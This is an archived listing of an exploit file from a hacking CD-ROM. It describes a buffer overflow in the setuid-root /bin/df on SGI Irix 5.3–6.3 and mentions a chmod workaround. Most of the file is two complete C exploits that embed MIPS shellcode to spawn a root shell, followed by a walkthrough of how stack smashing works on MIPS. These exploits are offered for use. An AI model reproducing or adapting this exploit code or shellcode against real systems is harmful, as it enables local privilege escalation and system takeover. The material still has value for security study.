home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / irix-df.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  7.2 KB  |  226 lines

  1. There appears to be a buffer overflow in /bin/df on Irix 5.3, 6.2 and 6.3.
  2. /bin/df is installed suid root and hence root access is achievable for
  3. local users.
  4.  
  5. The version of 'df' which comes with Irix 6.2, whilst having the buffer
  6. overflow problem, is not vulnerable to this exploit as it is compiled as
  7. a 64bit N32 object and it is virtually impossible to exploit buffer
  8. overflows in such programs.
  9.  
  10. The temporary fix: chmod u-s /bin/df
  11.  
  12. This only appears to affect the '-f' flag which I doubt anyone ever
  13. uses.
  14.  
  15. The exploit code included has been tested on the following:
  16.  
  17. R3000 Indigo (Irix 5.3)
  18. R4400 Indy (Irix 5.3)
  19. R5000 O2 (Irix 6.3)
  20.  
  21. Compile with either gcc or cc. Note that you should specify one of
  22. '-mips3', '-mips4' or '-n32' to compile on an O2. The default compile
  23. options result in a binary which exhibits weird cache coherency problems
  24. and rarely works.
  25.  
  26. -------------------- cut here ----------------------------
  27.  
  28. /* /bin/df buffer overflow exploit by DCRH */
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <sys/types.h>
  34. #include <unistd.h>
  35.  
  36. #define BUF_LENGTH      1504
  37. #define EXTRA           700
  38. #define OFFSET          0x200
  39. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  40.  
  41. #define u_long unsigned
  42.  
  43.  
  44. u_long get_sp_code[] = {
  45.     0x03a01025,         /* move $v0,$sp         */
  46.     0x03e00008,         /* jr $ra               */
  47.     0x00000000,         /* nop                  */
  48. };
  49.  
  50. u_long irix_shellcode[] = {
  51.     0x24041234,         /* li $4,0x1234         */
  52.     0x2084edcc,         /* sub $4,0x1234        */
  53.     0x0491fffe,         /* bgezal $4,pc-4       */
  54.     0x03bd302a,         /* sgt $6,$sp,$sp       */
  55.     0x23e4012c,         /* addi $4,$31,264+36   */
  56.     0xa086feff,         /* sb $6,-264+7($4)     */
  57.     0x2084fef8,         /* sub $4,264           */
  58.     0x20850110,         /* addi $5,$4,264+8     */
  59.     0xaca4fef8,         /* sw $4,-264($5)       */
  60.     0xaca6fefc,         /* sw $4,-260($5)       */
  61.     0x20a5fef8,         /* sub $5, 264          */
  62.     0x240203f3,         /* li $v0,1011          */
  63.     0x03ffffcc,         /* syscall 0xfffff      */
  64.     0x2f62696e,         /* "/bin"               */
  65.     0x2f7368ff,         /* "/sh"                */
  66. };
  67.  
  68. char buf[BUF_LENGTH + EXTRA + 8];
  69.  
  70. void main(int argc, char **argv)
  71. {
  72.     char *env[] = {NULL};
  73.     u_long targ_addr, stack;
  74.     u_long *long_p;
  75.     int i, code_length = strlen((char *)irix_shellcode)+1;
  76.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  77.  
  78.     stack = get_sp();
  79.  
  80.     long_p =(u_long *)  buf;
  81.     targ_addr = stack + OFFSET;
  82.  
  83.     if (argc > 1)
  84.         targ_addr += atoi(argv[1]) * 4;
  85.  
  86.     while ((targ_addr & 0xff000000) == 0 ||
  87.            (targ_addr & 0x00ff0000) == 0 ||
  88.            (targ_addr & 0x0000ff00) == 0 ||
  89.            (targ_addr & 0x000000ff) == 0)
  90.         targ_addr += 4;
  91.  
  92.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  93.         *long_p++ = IRIX_NOP;
  94.  
  95.     for (i = 0; i < code_length/sizeof(u_long); i++)
  96.         *long_p++ = irix_shellcode[i];
  97.  
  98.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  99.         *long_p++ = (targ_addr << 16) | (targ_addr >> 16);
  100.  
  101.     *long_p = 0;
  102.  
  103.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  104.  
  105.     execle("/bin/df", "df", &buf[3], 0, env);
  106.     perror("execl failed");
  107. }
  108.  
  109.  
  110.  
  111. =============================================================================
  112.  
  113.  
  114.  
  115. First, few notes about how buffer overflows can be exploited on Irix for
  116. those unfamiliar with the architecture.  First of all, Irix is running on
  117. MIPS, and MIPS is a classic RISK CPU.  So there's no RET instruction, and
  118. return address of a subroutine doesn't have to be stored on the stack at
  119. all.  In fact, for non-leaf functions (i.e. those that don't call any
  120. subroutines themselves) it's not stored.  For leaf procedures, however,
  121. compiler generates standard prolog/epilog that puts return address and
  122. "frame pointer" ($gp register) on stack and restores it from there.
  123. However, automatic variables are placed on stack _above_ them, so typical
  124. stack entry for sub1 called from sub0 looks like
  125.  
  126. sub0 stack top (high memory addresses)
  127. sub0 automatic vars
  128. $ra (return address stored)
  129. $gp
  130. sub0 stack bottom/sub1 stack top
  131. sub1 automatic vars
  132. $ra
  133. $gp
  134. sub1 stack bottom (low memory addresses)
  135.  
  136. (this is assuming sub1 is leaf).  Anyway, it's clear that by overflowing
  137. automatic array one can't reach the stored return address on the current
  138. subroutine.  The parent's stack can be successfully smashed, though.
  139. There're still more problems, however (this part is reworded explanation
  140. from the author of the exploit).  If you go for saved $ra, you have to smash
  141. saved $gp on the way.  In cc-generated code, though, a code sequence similar
  142. to below is often found:
  143.  
  144. lw      $gp,24($sp)
  145. lw      $t9,-32412($gp)
  146. jalr    $t9
  147.  
  148. offset is different in each case, of course.  This happens before subroutine
  149. returns, so if $gp has wrong value, it has no chance of ever returning.  So
  150. one actually has to target $gp and supply the right value which after
  151. subtracting the offset points to the code location somewhere in argv or
  152. envp.   This may sometimes be difficult to achieve, especially on 5.3,
  153. because of "no zero bytes" restriction.
  154.  
  155. There's also alignment issue: shell code should be perfectly aligned on word
  156. (32 bit, in 32 bit mode) boundary, so in addition to finding right value for
  157. $gp one has to try 4 different values for alignment.
  158.  
  159. So buffer overflows on Irix are not as trivial to exploit as say on x86, but
  160. still it's perfectly possible, and I strongly suspect that Irix will as
  161. usually compensate for that by having numerous potential overflows in each
  162. and every suid binary.
  163.  
  164. ----- df.c --------------------------------------------------------------------
  165. #include <stdlib.h>
  166. #include <fcntl.h>
  167.  
  168. #define BUFSIZE 2061
  169. #define OFFS 800
  170. #define ADDRS 2
  171. #define ALIGN 0
  172.  
  173. void run(unsigned char *buf) {
  174.  
  175.   execl("/usr/sbin/df", "df", buf, NULL);
  176.   printf("execl failed\n");
  177. }
  178.  
  179. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  180. char nop[]="\x24\x0f\x12\x34";
  181.  
  182. unsigned long get_sp(void) {
  183. __asm__("or     $2,$sp,$0");
  184. }
  185.  
  186. /* this align stuff sux - i do know. */
  187. main(int argc, char *argv[]) {
  188.   char *buf, *ptr, addr[8];
  189.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  190.   int i, noplen=strlen(nop);
  191.  
  192.   if (argc >1) bufsize=atoi(argv[1]);
  193.   if (argc >2) offs=atoi(argv[2]);
  194.   if (argc >3) addrs=atoi(argv[3]);
  195.   if (argc >4) align=atoi(argv[4]);
  196.  
  197.   if (bufsize<strlen(asmcode)) {
  198.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  199.     exit(1);
  200.   }
  201.   if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
  202.     printf("Can't malloc\n");
  203.     exit(1);
  204.   }
  205.   *(int *)addr=get_sp()+offs;
  206.   printf("address - %p\n", *(int *)addr);
  207.  
  208.   strcpy(buf, nop);
  209.   ptr=buf+noplen;
  210.   buf+=noplen-bufsize % noplen;
  211.   bufsize-=bufsize % noplen;
  212.  
  213.   for (i=0; i<bufsize; i++)
  214.     *ptr++=nop[i % noplen];
  215.   memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
  216.     memcpy(ptr, nop, strlen(nop));
  217.     ptr+=align;
  218.   for (i=0; i<addrs<<2; i++)
  219.     *ptr++=addr[i % sizeof(int)];
  220.   *ptr=0;
  221.   printf("total buf len - %d\n", strlen(buf));
  222.  
  223.   run(buf);
  224. }
  225. --- end of df.c ---------------------------------------------------------------
  226.